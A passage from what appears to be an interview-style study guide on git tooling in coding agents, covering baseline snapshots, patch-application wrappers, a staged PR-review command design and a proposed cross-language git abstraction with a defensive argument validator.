Follow-up: “Does bash have the same flaw?” The compound-command risk exists there too, but the parser and checks are different. The snapshot handles BashTool and gitSafety.ts separately; PowerShell’s check count and behavior should not be projected onto bash.
Q5 · Engineering: What is baseline snapshot and why does Codex maintain its own?
Baseline snapshot is a separate “clean git repo copy” Codex keeps inside the sandbox; the agent can one-button-revert to the corresponding state after any turn.
Mechanism:
-
ensure_git_baseline_repository(cwd): at sandbox start, copy the cwd to<sandbox-tmp>/baseline/, thengit init+git add .+git commit -m "baseline". Baseline is the clean initial state. -
Agent runs: model edits files, runs commands, makes commits in
cwd. -
diff_since_latest_init(cwd): ask “what’s changed since baseline?” any time. More reliable thangit diff HEADbecause the baseline isn’t touched by user commits. -
reset_git_repository(cwd): one-button restore to baseline. Codex calls this when the user says “undo everything the agent did.”
Why not git stash / git reset --hard?
- User workflow stays intact. The user may be working on another branch; the agent shouldn’t
git stashtheir uncommitted work. Baseline lives in sandbox-only and never touches.git/. - Cross-commit reset. If the agent committed midway,
git reset --hardonly goes back one commit. Baseline is its own timeline, can jump any number of commits. - Multiple agent runs side by side. Sandbox A and B each have their own baseline.
Engineering analogue:
- Git stash: single-layer temp, user-friendly.
- Git worktree: parallel branches, still one .git.
- Codex baseline: a completely independent .git, isolated from the user.
Cost: the baseline copies workspace data and uses extra disk; the actual size depends on copy strategy, ignore rules, and repository contents. Codex handles cleanup at sandbox teardown.
Source: codex/codex-rs/git-utils/src/baseline.rs + lib.rs:60 pub use baseline::*.
Follow-up: “Simplified impl size?” The core is copy or snapshot, initialize a baseline, compare a diff, and restore it. Line count depends on cross-platform copy, permissions, ignore rules, and interrupted runs, so a fixed number would be misleading.
Q6 · Practical: Your coding agent needs PR review. Implement from scratch.
Advance through six scopes: entry → structured → publish → automation → depth → project rules. Gate each scope with a fixed diff and failure-path fixture.
Stage 1 · slash command + embedded prompt
Borrow Claude Code’s /review prompt-as-command pattern. User types /review 123, agent runs:
const reviewPrompt = `You are an expert code reviewer. Steps:1. Run \`gh pr view 123\`2. Run \`gh pr diff 123\`3. Analyze and output: overview, code quality, suggestions, risks`;No PR API integration code; gh CLI is the tool, model composes calls.
Acceptance gate: a fixed PR fixture consistently collects metadata and the diff, with actionable errors for permission or command failures.
Stage 2 · structured output
Model outputs JSON instead of markdown:
type Review = { overview: string; quality_issues: { file: string; line: number; severity: 'low'|'med'|'high'; comment: string }[]; suggestions: { file: string; line: number; suggestion: string }[]; risks: string[];};Now you can programmatically consume reviews: auto-post inline comments, count severity, etc.
Acceptance gate: the schema covers missing fields, unknown severities, and empty findings; parse failures cannot become passes.
Stage 3 · post to GitHub
gh pr review 123 --comment --body "..."gh api repos/foo/bar/pulls/123/comments -f body=...Or gh pr review --request-changes / --approve for an overall verdict.
Acceptance gate: fixed findings map to the intended PR, file, and line; duplicate submissions do not duplicate comments, and permission failures are recorded.
Stage 4 · CI integration
Wrap /review as a GitHub Action: run automatically on PR open. Crosses from interactive to background agent (see chapter 18).
Acceptance gate: duplicate webhooks are idempotent, cancellation and retry do not lose findings, and credentials never enter logs.
Stage 5 · review variants
Add /ultrareview: deeper, multi-step (architecture → security → performance → fitness). Claude Code’s ultrareview is a remote pipeline, each step uses a different prompt. This is where “review as multi-agent pipeline” appears.
Acceptance gate: each stage’s input, output, and failure propagation are traceable; compare remote or parallel cost and benefit on the same diff set.
Stage 6 · project-specific rules
Most review value sits in project rules (“this module shouldn’t depend on that one” / “this function must have tests”). Put project rules in ~/.claude/AGENTS.md; agent loads them automatically.
Codex uses AGENTS.md too, OpenClaw uses claudeOcConfig. Same idea.
Acceptance gate: rule versions enter the review trace, conflicts have deterministic precedence, and false positives regress on a fixed sample.
Engineering disciplines:
- Don’t build a GitHub SDK from scratch.
ghCLI already covers everything. - Structured review output. Markdown-only reviews resist downstream automation.
- Review prompts gittable. Don’t bake prompts into source; put them in
.claude/commands/. - Distinguish incremental vs full review. Incremental = diff only; full = all impacted modules.
Sources: claude-code/src/commands/review.ts (basic), commands/pr_comments/ (full PR flow), commands/ultrareview.ts (advanced).
Follow-up: “Review goes wrong, how to rollback?” Reviews are comments, no rollback needed. But if you run /fix-pr-comments (auto-fix from review), baseline snapshot from Q5 is the safety net.
Q7 · Architecture: Why does OpenClaw NOT abstract git and let the model git status directly?
OpenClaw is a “control plane / tool policy platform.” Its positioning rules out owning a git abstraction. Three reasons:
1. Git isn’t OpenClaw’s core abstraction
OpenClaw’s core is tool catalog + tool policy pipeline (see chapter 04). All tools (fs / shell / git) are policy objects; the platform shouldn’t favor one. Special-case git, and why not docker? kubectl? npm?
The platform bloats endlessly.
2. Model running git via shell suffices
Models often know common git commands. tool_use(bash, git status) may be enough for a narrow control plane, provided the shell policy is the actual security boundary; the framework should not imply that a raw command is a structured recovery API.
3. OpenClaw users have diverse use cases
OpenClaw might host a coding agent, customer support agent, scraping agent, or data analysis agent. Those examples show why the platform cannot assume every workload needs a Git abstraction. Bundling a complete Git layer into the control plane would add unused API and maintenance surface for non-coding workloads.
OpenClaw’s compromise: git-root.ts provides “what repo are we in” as platform metadata, so sandbox boundary and log grouping have an anchor. The “what to do with git” is left to specific skills.
Engineering principle: control plane vs skill boundary. Control plane provides:
- Path anchors (git-root)
- Version stamps (git short SHA)
- Sandbox boundaries
- Tool-call pipelines
Control plane does NOT provide:
- Patch application
- Baseline snapshot
- PR review
- Smart merge/rebase
Those belong to skills. If an OpenClaw user wants a coding agent, they ship @coding-skill with those features. The OpenClaw kernel stays thin.
Analogue:
- VS Code doesn’t ship smart git (panel only; smart merge/conflict lives in GitLens, Git Graph extensions).
- IntelliJ ships smart git (first-class) but IntelliJ is a single-purpose IDE, not a control plane.
- VS Code ≈ OpenClaw, IntelliJ ≈ Claude Code (or Codex).
Source: openclaw/src/infra/git-root.ts:1-73 (73 lines, done).
Follow-up: “What if I want OpenClaw to be a coding agent?” Fork @coding-skill and add git-utils-style abstractions. OpenClaw’s tool-catalog + tool-policy-pipeline supports this; adding tools doesn’t touch the kernel.
Q8 · Engineering: How does Codex’s apply_git_patch differ from a raw git apply?
git apply is the git binary command, takes a patch file, applies to working directory. apply_git_patch is Codex’s Rust high-level API that ultimately calls git apply but adds agent-friendly engineering:
1. Input is a string, not a file
git apply mypatch.diff needs a file. apply_git_patch(patch: &str) takes a string, no disk write needed. Agent-generated patches don’t need to land first.
2. Output parsed into structured ApplyGitResult
git apply’s stdout/stderr is human-formatted: “patch failed: foo.rs:32”, “already exists in working directory”. Models burn tokens parsing that and misread often. Codex’s parse_git_apply_output produces:
pub struct ApplyGitResult { applied_paths: Vec<PathBuf>, failed_hunks: Vec<HunkFailure>, conflicts: Vec<PathBuf>,}Model gets structured data: which files applied, which conflicted, which hunks failed. Agent-friendly vs human-friendly.
3. Auto git add on success
apply_git_patch calls stage_paths post-apply. Reason: the model is about to git commit, save a tool call.
4. extract_paths_from_patch · predictive
Before applying, extract_paths_from_patch(patch) returns all paths the patch touches. Codex uses this for permission pre-check: are these paths in the sandbox-writable zone? Pre-fail skips git apply entirely.
5. Patch format compatibility
Accepts unified diff, git diff with binary, V4A. Format detection at apply, model doesn’t choose.
Engineering principle: agent APIs ≠ human APIs. Human APIs take strings, return readable messages. Agent APIs take structured input, return structured output. The same underlying operation (git apply) deserves two wrappers.
Similar patterns in Codex:
recent_commitsparsesgit logstdout intoVec<CommitLogEntry>.current_branch_nametrimsgit rev-parse --abbrev-ref HEAD→String.git_diff_to_remoteadds base resolution, stats, token estimation atopgit diff origin/main.
Each is the “agent-friendly variant” of a git binary output. Aggregated, they form git-utils.
Source: codex/codex-rs/git-utils/src/apply.rs + lib.rs:60-65.
Follow-up: “What about Hermes without this layer?” Hermes lets the model run git apply and parse stdout itself. Tokens wasted, engineering cost zero. Research platform optimizes elsewhere.
Q9 · Practical: You inherit an agent project where git is all subprocess.run("git ..."). Stage the upgrade.
Four scopes: visibility → structured → baseline → defense. Advance only after the current scope passes its fixed-fixture gate.
Stage 1 · centralize git calls
State: subprocess.run(["git", ...]) everywhere. Step 1: collect them into a gitutil.py:
def run_git(*args, cwd=None, timeout=5): return subprocess.run(["git", *args], cwd=cwd, timeout=timeout, capture_output=True, text=True)Replace all subprocess.run("git ...") with run_git(...). Single place for timeouts, logs, error handling.
Acceptance gate: a static scan finds no direct git invocation outside the executor; fixed fixtures cover timeouts, stderr, and non-zero exits, with errors preserved for callers.
Stage 2 · structured parsing
Prerequisite: the executor already owns cwd, timeout, and error handling.
Wrap common git commands:
@dataclassclass GitInfo: commit_hash: str | None branch: str | None repository_url: str | None
def collect_git_info(cwd: Path) -> GitInfo | None: ...def parse_git_status(cwd: Path) -> list[FileStatus]: ...def recent_commits(cwd: Path, n: int = 10) -> list[CommitInfo]: ...Model gets typed objects, not raw stdout.
Acceptance gate: cross-check branch, status, and log parsing against the Git CLI on a fixed repository fixture, and ensure malformed output cannot silently become an empty object.
Stage 3 · baseline snapshot
Prerequisite: the product must distinguish pre-existing user changes from changes made during an agent run.
Implement simplified baseline (see Q5). On agent start, dump clean copy; on end, cleanup. Expose reset_to_baseline() + diff_since_baseline().
Acceptance gate: run apply, diff, and reset against a fixed fixture; reset is repeatable and never overwrites pre-existing uncommitted changes.
Stage 4 · safety
Prerequisite: the agent can operate on untrusted repositories or worktrees, and the threat model has executable test vectors.
Add gitSafety dual-attack defense:
def validate_git_args(args: list[str], cwd: Path) -> str | None: if has_bare_repo_structure_without_dotgit(cwd): return "Potential bare-repo attack" if creates_internal_then_runs_git(args): return "Potential compound attack" return NoneCall validator before every run_git. Block on hit.
Acceptance gate: bare-repository and compound-attack fixtures are rejected, normal repository commands still pass, and each verdict is recorded in the audit log.
Stage 5 · prompt as command (when needed)
High-frequency git ops as slash commands (Claude Code style):
/review <pr>: agent reviews PR./commit: agent writes commit message and commits./diff-since-baseline: agent shows what it changed.
Each command is a polished prompt: model reads, knows the call order. Add this layer only when the sequence is stable and repeatedly used; gate it on stable call ordering and failure messages over a fixed task set.
Engineering disciplines:
- Don’t jump to the final state. Copying Codex git-utils wholesale is over-engineering for most teams.
- Each stage measurable. Stage 1: grep count → 0. Stage 2: token savings (structured vs raw). Stage 3: revert success rate.
- Keep an escape hatch. Even with
apply_git_patch, let model call rawgitfor corner cases. - Test with baseline. Each git-utils change runs a 5-step agent run, verify revert works.
Sources: simplest to fanciest: OpenClaw git-root.ts:1-73 → Hermes banner.py:213-238 → Claude Code utils/git.ts:1-100 → Codex git-utils/src/info.rs:1-200.
Follow-up: “A monorepo makes git log slow. Now what?” Start with a bounded timeout and a visible fallback, then bound output with --max-count. Cache only after measuring hit rate and invalidation; Codex’s 5-second budget and Claude Code’s LRU(50) are reference parameters, not universal answers.
Q10 · Open-ended: Design an “agent-friendly git abstraction layer” that drops into any language.
Combine patterns by constraint:
Core API (required)
interface GitInfo { commit_hash: string; // GitSha-style strong type (newtype) branch: string; repository_url: string; worktree_count: number;}async function collectGitInfo(cwd: string): Promise<GitInfo | null>;
interface FileStatus { path: string; status: 'modified' | 'added' | 'deleted' | 'untracked' | 'staged';}async function getStatus(cwd: string): Promise<FileStatus[]>;async function getDiff(cwd: string, options?: DiffOptions): Promise<string>;async function recentCommits(cwd: string, n: number): Promise<CommitInfo[]>;
interface ApplyResult { applied_paths: string[]; failed_hunks: HunkFailure[]; conflicts: string[];}async function applyPatch(cwd: string, patch: string): Promise<ApplyResult>;async function stagePaths(cwd: string, paths: string[]): Promise<void>;async function commit(cwd: string, message: string): Promise<{ commit_hash: string }>;
async function gitDiffToRemote(cwd: string, remote: 'origin/main'): Promise<GitDiffToRemote>;async function mergeBaseWithHead(cwd: string, branch: string): Promise<string>;
interface BaselineHandle { baseline_id: string; diff(): Promise<string>; reset(): Promise<void>; cleanup(): Promise<void>;}async function ensureBaseline(cwd: string): Promise<BaselineHandle>;Safety layer (required)
interface GitSafetyValidator { validateArgs(args: string[], cwd: string): SafetyResult; validateCwd(cwd: string): SafetyResult;}
type SafetyResult = | { safe: true } | { safe: false; reason: 'bare-repo' | 'compound-attack' | 'untrusted-dir'; details: string };Performance layer (recommended)
interface GitCache { cache_size: number; // default 50 ttl_ms: number; // default 30s}function createCachedGitUtils(opts: GitCache): GitUtilsAPI;LRU cache findGitRoot / collectGitInfo (Claude Code style).
Slash command template (optional)
const reviewCommand = createSlashCommand({ name: '/review', args: '<pr_number>', prompt: (args) => `You are an expert code reviewer...`,});Template-as-command.
Complete API
import { createGitUtils } from '@your-org/git-utils';
const git = createGitUtils({ cwd: '/app', cache: { cache_size: 50, ttl_ms: 30_000 }, safety: { strict: true },});
const info = await git.collectGitInfo(); // 3-way parallelconst status = await git.getStatus(); // structuredconst result = await git.applyPatch(patch); // auto stageconst baseline = await git.ensureBaseline();// ... agent runsconst changes = await baseline.diff();await baseline.reset(); // one-button revertVs four systems:
- Codex + cache (default on).
- Claude Code + baseline snapshot.
- OpenClaw + patch + workflow.
- Hermes + structured + safety.
Estimate effort from the target languages, platforms, repository scale, and recovery test matrix. This composition adds patch, baseline, and safety validation beyond OpenClaw’s root plus version stamp; the four source snapshots do not support a fixed person-month estimate.
Cross-language: Core API designed JSON in/out. Each language (TS / Python / Rust / Go) ships its own executor; rules and safety profiles shared.
Source composition: Codex git-utils/src/lib.rs + Claude Code utils/git.ts:1-100 + OpenClaw git-root.ts:1-73 + Hermes banner.py:213-238. Stitch them; that’s git-utils v0.1.
Follow-up: “Handle LFS, submodules, worktrees?” Start with an escape hatch for LFS and test submodules/worktrees where .git is a file. The incremental implementation depends on platforms and test coverage; do not promise a fixed line count.